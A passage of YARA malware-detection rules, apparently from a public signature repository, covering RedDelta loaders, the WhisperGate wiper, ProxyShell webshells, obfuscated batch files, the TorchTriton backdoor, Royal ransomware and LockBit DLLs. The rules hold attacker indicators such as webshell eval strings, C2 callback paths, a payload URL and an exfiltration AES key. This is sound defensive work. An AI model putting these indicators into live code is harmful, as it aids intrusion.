		author = "Florian Roth (Nextron Systems)"
		id = "acb1024a-64af-51ac-84c8-7fe9a5bd4538"
		date = "2020-10-14"
		modified = "2023-12-05"
		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_reddelta.yar#L31-L57"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "179265c0b2175bc3d2d581a69e50e9b8b9cc918a6fdc7bcef42fb163c49b077a"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "260ebbf392498d00d767a5c5ba695e1a124057c1c01fff2ae76db7853fe4255b"
		hash2 = "9ccb4ed133be5c9c554027347ad8b722f0b4c3f14bfd947edfe75a015bf085e5"
		hash3 = "b3fd750484fca838813e814db7d6491fea36abe889787fb7cf3fb29d9d9f5429"
	strings:
		$x1 = "\\CLRLoader.exe" wide fullword
		$x2 = "/callback.php?token=%s&computername=%s&username=%s" ascii fullword
		$s1 = "DotNetLoader.Program" wide fullword
		$s2 = "/download.php?api=40" ascii fullword
		$s3 = "get %d URLDir" ascii fullword
		$s4 = "Read code failed" ascii fullword
		$s5 = "OpenFile fail!" wide fullword
		$s6 = "Writefile success" wide fullword
		$op1 = { 4c 8d 45 e0 49 8b cc 41 8d 51 c3 e8 34 77 02 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of ( $x* ) or 4 of them
}

rule SIGNATURE_BASE_APT_CN_MAL_Reddelta_Shellcode_Loader_Oct20_3 : FILE
{
	meta:
		description = "Detects Red Delta samples"
		author = "Florian Roth (Nextron Systems)"
		id = "b52836bb-cdef-5416-a8e1-72d0b2298546"
		date = "2020-10-14"
		modified = "2022-12-21"
		reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_reddelta.yar#L59-L78"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "64402f6265f23abf7d6a711aa888c89386c1a754f12286b0efe5fd5d81f15b01"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "740992d40b84b10aa9640214a4a490e989ea7b869cea27dbbdef544bb33b1048"
	strings:
		$s1 = "Taskschd.dll" ascii fullword
		$s2 = "AddTaskPlanDllVerson.dll" ascii fullword
		$s3 = "\\FlashUpdate.exe" ascii
		$s4 = "D:\\Project\\FBIRedTeam" ascii fullword
		$s5 = "Error %s:%d, ErrorCode: %x" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 4 of them
}

rule SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Zlib_Zerodium_Mar21_1 : FILE
{
	meta:
		description = "Detects backdoored PHP zlib version"
		author = "Florian Roth (Nextron Systems)"
		id = "5e0ab8f8-776a-52b0-b5be-ff1d34bccfd1"
		date = "2021-03-29"
		modified = "2023-12-05"
		reference = "https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vul_php_zlib_backdoor.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "74bfd9e12cb7671cde953d361a2adeb9388edd9b2aab0f9ce04dce0d433561dc"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "REMOVETHIS: sold to zerodium, mid 2017" fullword ascii
		$x2 = "HTTP_USER_AGENTT" ascii fullword
	condition:
		filesize < 3000KB and all of them
}

rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Jan22_1 : FILE
{
	meta:
		description = "Detects unknown wiper malware"
		author = "Florian Roth (Nextron Systems)"
		id = "f04b619e-1df2-5c51-9cab-4a0fffd1c042"
		date = "2022-01-16"
		modified = "2023-12-05"
		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ua_wiper_whispergate.yar#L2-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "72eb50a70b3f2fbb232134ef4706dbb15bdb5893fe06d899bff3b7aacdfadd30"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
	strings:
		$xc1 = { 41 41 41 41 41 00 59 6F 75 72 20 68 61 72 64 20
               64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63
               6F 72 72 75 70 74 65 64 }
		$op1 = { 89 34 24 e8 3f ff ff ff 50 8d 65 f4 31 c0 59 5e 5f }
		$op2 = { 8d bd e8 df ff ff e8 04 de ff ff b9 00 08 00 00 f3 a5 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 03 00 00 00 c7 44 24 0c 00 00 00 00 }
		$op3 = { c7 44 24 0c 00 00 00 00 c7 44 24 08 00 02 00 00 89 44 24 04 e8 aa fe ff ff 83 ec 14 89 34 24 e8 3f ff ff ff 50 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 2 of them ) or all of them
}

rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Jan22_2 : FILE
{
	meta:
		description = "Detects unknown wiper malware"
		author = "Florian Roth (Nextron Systems)"
		id = "822e5af5-9c51-5be3-94f1-7e0a714743e6"
		date = "2022-01-16"
		modified = "2023-12-05"
		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ua_wiper_whispergate.yar#L25-L57"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "87a03e95bc1c33d1b3343ec7369c516bb15791943fbb122de11867ad4bddd565"
		score = 90
		quality = 85
		tags = "FILE"
		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
	strings:
		$sc1 = { 70 00 6F 00 77 00 65 00 72 00 73 00 68 00 65 00
               6C 00 6C 00 00 27 2D 00 65 00 6E 00 63 00 20 00
               55 00 77 00 42 00 30 00 41 00 47 00 45 00 41 00
               63 00 67 00 42 00 30 00 41 00 43 }
		$sc2 = { 59 00 6C 00 66 00 77 00 64 00 77 00 67 00 6D 00
               70 00 69 00 6C 00 7A 00 79 00 61 00 70 00 68 }
		$s1 = "xownxloxadDxatxxax" wide
		$s2 = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==" wide
		$s3 = "https://cdn.discordapp.com/attachments/" wide
		$s4 = "fffxfff.fff" ascii fullword
		$op1 = { 20 6b 85 b9 03 20 14 19 91 52 61 65 20 e1 ae f1 }
		$op2 = { aa ae 74 20 d9 7c 71 04 59 20 71 cc 13 91 61 20 97 3c 2a c0 }
		$op3 = { 38 9c f3 ff ff 20 f2 96 4d e9 20 5d ae d9 ce 58 20 4f 45 27 }
		$op4 = { d4 67 d4 61 80 1c 00 00 04 38 35 02 00 00 20 27 c0 db 56 65 20 3d eb 24 de 61 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 5 of them or 7 of them
}

rule SIGNATURE_BASE_APT_HKTL_Wiper_Whispergate_Stage3_Jan22 : FILE
{
	meta:
		description = "Detects reversed stage3 related to Ukrainian wiper malware"
		author = "Florian Roth (Nextron Systems)"
		id = "d5d562cd-03ef-5450-8044-3f538cea32d0"
		date = "2022-01-16"
		modified = "2023-12-05"
		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ua_wiper_whispergate.yar#L59-L74"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b06536b6a6eebd5fb398ba2617bf68a5b2c4b0035766b3cd0fc03d95019891ec"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
	strings:
		$xc1 = { 65 31 63 70 00 31 79 72 61 72 62 69 4c 73 73 61 6c 43 00 6e 69 61 4d }
		$s1 = "lld." wide
	condition:
		uint16( filesize -2 ) == 0x4d5a and filesize < 5000KB and all of them
}

rule SIGNATURE_BASE_MAL_OBFUSC_Unknown_Jan22_1 : FILE
{
	meta:
		description = "Detects samples similar to reversed stage3 found in Ukrainian wiper incident named WhisperGate"
		author = "Florian Roth (Nextron Systems)"
		id = "647c0092-b03d-5627-8568-ddaa982c73a1"
		date = "2022-01-16"
		modified = "2023-12-05"
		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ua_wiper_whispergate.yar#L76-L101"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "26a295d3b78c3a33d776a648aa0f410ac7cb5021ad9d3b294ff9629d6ba7132a"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
	strings:
		$xc1 = { 37 00 63 00 38 00 63 00 62 00 35 00 35 00 39 00
               38 00 65 00 37 00 32 00 34 00 64 00 33 00 34 00
               33 00 38 00 34 00 63 00 63 00 65 00 37 00 34 00
               30 00 32 00 62 00 31 00 31 00 66 00 30 00 65 }
		$xc2 = { 4D 61 69 6E 00 43 6C 61 73 73 4C 69 62 72 61 72
               79 31 00 70 63 31 65 }
		$s1 = ".dll" wide
		$s2 = "%&%,%s%" ascii fullword
		$op1 = { a2 87 fa b1 44 a5 f5 12 da a7 49 11 5c 8c 26 d4 75 }
		$op2 = { d7 af 52 38 c7 47 95 c8 0e 88 f3 d5 0b }
		$op3 = { 6c 05 df d6 b8 ac 11 f2 67 16 cb b7 34 4d b6 91 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_MAL_Unknown_Discord_Characteristics_Jan22_1 : FILE
{
	meta:
		description = "Detects unknown malware with a few indicators also found in Wiper malware"
		author = "Florian Roth (Nextron Systems)"
		id = "23ee5319-6a72-517b-8ea0-55063b6b862c"
		date = "2022-01-16"
		modified = "2023-12-05"
		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ua_wiper_whispergate.yar#L103-L119"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f9cf4a15be0ab35a0d0f0c9b1a191f623f905c8fc9da651872de7c025a27a806"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
	strings:
		$x1 = "xownxloxadDxatxxax" wide
		$s2 = "https://cdn.discordapp.com/attachments/" wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}


rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug21_2 : FILE
{
	meta:
		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST), size and content"
		author = "Florian Roth (Nextron Systems)"
		id = "a351a466-695e-570e-8c7f-9c6c0534839c"
		date = "2021-08-13"
		modified = "2025-11-03"
		reference = "https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L35-L48"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4ede197d482f0a9e553ba857b5049e7b7405e3df92460e19418fa0653c844982"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "Page Language=" ascii nocase
	condition:
		uint32( 0 ) == 0x4e444221 and filesize < 2MB and $s1
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug21_3 : FILE
{
	meta:
		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be DER), size and content"
		author = "Max Altgelt"
		id = "a7bca62b-c8f1-5a38-81df-f3d4582a590b"
		date = "2021-08-23"
		modified = "2025-11-03"
		reference = "https://twitter.com/gossithedog/status/1429175908905127938?s=12"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L50-L64"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f071aaa8918b359f786f2ac7447eeaedb5a6fca9e0a0c0e8820e011244424503"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "Page Language=" ascii nocase
	condition:
		uint16( 0 ) == 0x8230 and filesize < 10KB and $s1
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Sep21_1 : FILE
{
	meta:
		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST) and base64 decoded request"
		author = "Tobias Michalski"
		id = "d0d23e17-6b6a-51d1-afd9-59cc2404bcd8"
		date = "2021-09-17"
		modified = "2025-11-03"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L66-L80"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "219468c10d2b9d61a8ae70dc8b6d2824ca8fbe4e53bbd925eeca270fef0fd640"
		logic_hash = "233ec15dff8da5f2beaa931eb06849aa37e548947c1068d688a1695d977605d8"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s = ".FromBase64String(Request["
	condition:
		uint32( 0 ) == 0x4e444221 and any of them
}

rule SIGNATURE_BASE_APT_IIS_Config_Proxyshell_Artifacts : FILE
{
	meta:
		description = "Detects virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
		author = "Florian Roth (Nextron Systems)"
		id = "21888fc0-82c6-555a-9320-9cbb8332a843"
		date = "2021-08-25"
		modified = "2025-11-03"
		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L82-L105"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a4557694629448d258b8b2fefc278e059217560e7a0ec3279863a16fb9b3989c"
		score = 90
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "<site name=" ascii
		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
		$sa1 = " physicalPath=\"C:\\ProgramData\\COM" ascii
		$sa2 = " physicalPath=\"C:\\ProgramData\\WHO" ascii
		$sa3 = " physicalPath=\"C:\\ProgramData\\ZING" ascii
		$sa4 = " physicalPath=\"C:\\ProgramData\\ZOO" ascii
		$sa5 = " physicalPath=\"C:\\ProgramData\\XYZ" ascii
		$sa6 = " physicalPath=\"C:\\ProgramData\\AUX" ascii
		$sa7 = " physicalPath=\"C:\\ProgramData\\CON\\" ascii
		$sb1 = " physicalPath=\"C:\\Users\\All Users\\" ascii
	condition:
		filesize < 500KB and all of ( $a* ) and 1 of ( $s* )
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Exploitation_Aug21_1 : FILE
{
	meta:
		description = "Detects unknown malicious loaders noticed in August 2021"
		author = "Florian Roth (Nextron Systems)"
		id = "1fa563fc-c91c-5f4e-98f1-b895e1acb4f4"
		date = "2021-08-25"
		modified = "2025-11-03"
		reference = "https://twitter.com/VirITeXplorer/status/1430206853733097473"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L107-L119"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8a2417bb85c7f91d98143d2f4c26d30416b3a01ba8abc1445ccfae5609825b4d"
		score = 90
		quality = 85
		tags = "FILE"
	strings:
		$x1 = ");eval/*asf" ascii
	condition:
		filesize < 600KB and 1 of them
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Proxyshell_Aug15 : FILE
{
	meta:
		description = "Webshells iisstart.aspx and Logout.aspx"
		author = "Moritz Oettle"
		id = "b1e6c0f3-787f-59b8-8123-4045522047ca"
		date = "2021-09-04"
		modified = "2025-11-03"
		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L121-L152"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "46c37f1d80c777acafa6ee64d7df18a6b94768f4463d9196027111a84a63a24f"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$g1 = "language=\"JScript\"" ascii
		$g2 = "function getErrorWord" ascii
		$g3 = "errorWord" ascii
		$g4 = "Response.Redirect" ascii
		$g5 = "function Page_Load" ascii
		$g6 = "runat=\"server\"" ascii
		$g7 = "Request[" ascii
		$g8 = "eval/*" ascii
		$s1 = "AppcacheVer" ascii
		$s3 = "LaTkWfI64XeDAXZS6pU1KrsvLAcGH7AZOQXjrFkT816RnFYJQR" ascii
		$fp1 = "<input type=\"submit\" Value=\"Refresh This Page\""
	condition:
		filesize < 1KB and ( 1 of ( $s* ) or 4 of ( $g* ) ) and not 1 of ( $fp* )
}

rule SIGNATURE_BASE_WEBSHELL_Mailbox_Export_PST_Proxyshell_Aug26 : FILE
{
	meta:
		description = "Webshells generated by an Mailbox export to PST and stored as aspx: 570221043.aspx 689193944.aspx luifdecggoqmansn.aspx"
		author = "Moritz Oettle"
		id = "6aea414f-d27c-5202-84f8-b8620782fc90"
		date = "2021-09-04"
		modified = "2025-11-03"
		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L154-L180"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "07acbf74a4bf169fc128cd085759f33e89917e217703b3c6557ba5f954822fd4"
		score = 85
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "!BDN"
		$g1 = "Page language=" ascii
		$g2 = "<%@ Page" ascii
		$g3 = "Request.Item[" ascii
		$g4 = "\"unsafe\");" ascii
		$g5 = "<%eval(" ascii
		$g6 = "script language=" ascii
		$g7 = "Request[" ascii
		$s1 = "gold8899" ascii
		$s2 = "exec_code" ascii
		$s3 = "orangenb" ascii
	condition:
		filesize < 500KB and $x1 at 0 and ( 1 of ( $s* ) or 3 of ( $g* ) )
}

rule SIGNATURE_BASE_SUSP_IIS_Config_Proxyshell_Artifacts : FILE
{
	meta:
		description = "Detects suspicious virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
		author = "Florian Roth (Nextron Systems)"
		id = "bde65d9e-b17d-5746-8d29-8419363d0511"
		date = "2021-08-25"
		modified = "2025-11-03"
		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_proxyshell.yar#L186-L201"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f2822a2b762c8e683c5e3a3f4a8232faa187b9a36182ea71e5286158b0e8115c"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "<site name=" ascii
		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
		$s1 = " physicalPath=\"C:\\ProgramData\\" ascii
	condition:
		filesize < 500KB and all of ( $a* ) and 1 of ( $s* )
}

rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_1 : FILE
{
	meta:
		description = "Detects indicators of obfuscation in Windows Batch files"
		author = "Florian Roth"
		id = "801e7efc-2c31-5590-afcd-9e11072c9c65"
		date = "2024-07-12"
		modified = "2024-12-12"
		reference = "https://x.com/0xToxin/status/1811656147943752045"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/susp_bat_obfusc_jul24.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "683f4651eb8c5b74eca16e7f97c5c44f0d70f045ea49f1f3726cb6975aba2ab9"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "&&set "
	condition:
		filesize < 300KB and uint32( 0 ) == 0x20746573 and $s1 in ( 0 .. 32 )
}

rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_2 : FILE
{
	meta:
		description = "Detects indicators of obfuscation in Windows Batch files"
		author = "Florian Roth"
		id = "999cd365-2862-5618-b0b6-ee45dea1e9cf"
		date = "2024-07-12"
		modified = "2024-12-12"
		reference = "https://x.com/0xToxin/status/1811656147943752045"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/susp_bat_obfusc_jul24.yar#L18-L35"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "729ec93d180bf39c146c3fd847655340428abc3231b556ca51d3ca68825e7c3e"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "&&set "
	condition:
		filesize < 300KB and #s1 > 30 and uint16( filesize -2 ) == 0x0a0d and uint8( filesize -3 ) == 0x25
}

rule SIGNATURE_BASE_SUSP_BAT_OBFUSC_Jul24_3 : FILE
{
	meta:
		description = "Detects indicators of obfuscation in Windows Batch files"
		author = "Florian Roth"
		id = "a484ed03-8588-55e7-9674-b1208e14eb3f"
		date = "2024-07-12"
		modified = "2024-12-12"
		reference = "https://x.com/0xToxin/status/1811656147943752045"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/susp_bat_obfusc_jul24.yar#L37-L54"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ecbe7850349f0368620ff4294e5d0ca277983799eed510f8bf8abe4d4c192197"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "% \\\\%"
		$s2 = { 3D ?? 26 26 73 65 74 20 }
	condition:
		filesize < 300KB and all of them
}

rule SIGNATURE_BASE_MAL_ELF_Torchtriton : FILE
{
	meta:
		description = "Detection for backdoor (TorchTriton) distributed with a nightly build of PyTorch"
		author = "Silas Cutler"
		id = "85e98ee7-30bf-554f-a0ac-9df263e6dfe4"
		date = "2023-01-02"
		modified = "2023-12-05"
		reference = "https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_100days_of_yara_2023.yar#L88-L117"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "2385b29489cd9e35f92c072780f903ae2e517ed422eae67246ae50a5cc738a0e"
		logic_hash = "12de3c3785aaf3623097db58abfe8ee2cbd9a0e712bf752165952de9a5fdb07d"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.0"
		DaysofYARA = "2/100"
	strings:
		$error = "failed to send packet"
		$aes_key = "gIdk8tzrHLOM)mPY-R)QgG[;yRXYCZFU"
		$aes_iv = "?BVsNqL]S.Ni"
		$func01 = "splitIntoDomains("
		$func02 = "packageForTransport"
		$func03 = "gatherFiles"
		$func04 = "void sendFile("
		$domain = "&z-%`-(*"
	condition:
		uint32( 0 ) == 0x464c457f and ( ( all of ( $aes_* ) ) or ( all of ( $func* ) and $error ) or ( $domain and 2 of them ) )
}


rule SIGNATURE_BASE_MAL_EXE_Royalransomware : FILE
{
	meta:
		description = "Detection for Royal Ransomware seen Dec 2022"
		author = "Silas Cutler, modfied by Florian Roth"
		id = "f83316f7-b8c4-5907-a38e-80535215e7ef"
		date = "2023-01-03"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_100days_of_yara_2023.yar#L197-L222"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "a8384c9e3689eb72fa737b570dbb53b2c3d103c62d46747a96e1e1becf14dfea"
		logic_hash = "6f93bade7709945b478cbdc721d85ad9243d56ace19fba25835cec13a6210dfb"
		score = 75
		quality = 85
		tags = "FILE"
		version = "1.0"
		DaysofYARA = "3/100"
	strings:
		$x_ext = ".royal_" wide
		$x_fname = "royal_dll.dll"
		$s_readme = "README.TXT" wide
		$s_cli_flag01 = "-networkonly" wide
		$s_cli_flag02 = "-localonly" wide
		$x_ransom_msg01 = "If you are reading this, it means that your system were hit by Royal ransomware."
		$x_ransom_msg02 = "Try Royal today and enter the new era of data security!"
		$x_onion_site = "http://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/"
	condition:
		uint16( 0 ) == 0x5A4D and ( 2 of ( $x* ) or 5 of them )
}

rule SIGNATURE_BASE_MAL_Backdoor_DLL_Nov23_1 : CVE_2023_4966 FILE
{
	meta:
		description = "Detects a backdoor DLL, that was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		author = "X__Junior"
		id = "3588d437-b561-5380-8dac-73a31f4cdb5a"
		date = "2023-11-23"
		modified = "2023-12-05"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L1-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6788d37301bb82bd4d9584e192e2fb14d4f6c77801b70299097d8ba139219394"
		score = 80
		quality = 85
		tags = "CVE-2023-4966, FILE"
		hash1 = "cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63"
		hash2 = "0eb66eebb9b4d671f759fb2e8b239e8a6ab193a732da8583e6e8721a2670a96d"
	strings:
		$s1 = "ERROR GET INTERVAL" ascii
		$s2 = "OFF HIDDEN MODE" ascii
		$s3 = "commandMod:" ascii
		$s4 = "RESULT:" ascii
		$op1 = { C7 44 24 ?? 01 00 00 00 C7 84 24 ?? ?? ?? ?? FF FF FF FF 83 7C 24 ?? 00 74 ?? 83 BC 24 ?? ?? ?? ?? 00 74 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 00 04 00 00 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 }
		$op2 = { 48 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 03 00 00 00 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8D 0D ?? ?? ?? ?? 44 0F B7 05 ?? ?? ?? ?? 48 8B D0 48 8B 4C 24 ?? FF 15 }
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or all of ( $op* ) )
}

rule SIGNATURE_BASE_MAL_Trojan_DLL_Nov23 : CVE_2023_4966 FILE
{
	meta:
		description = "Detects a trojan DLL that installs other components - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		author = "X__Junior"
		id = "1dd87d0a-2b8b-5386-8fdd-40d184c731a4"
		date = "2023-11-23"
		modified = "2023-12-05"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
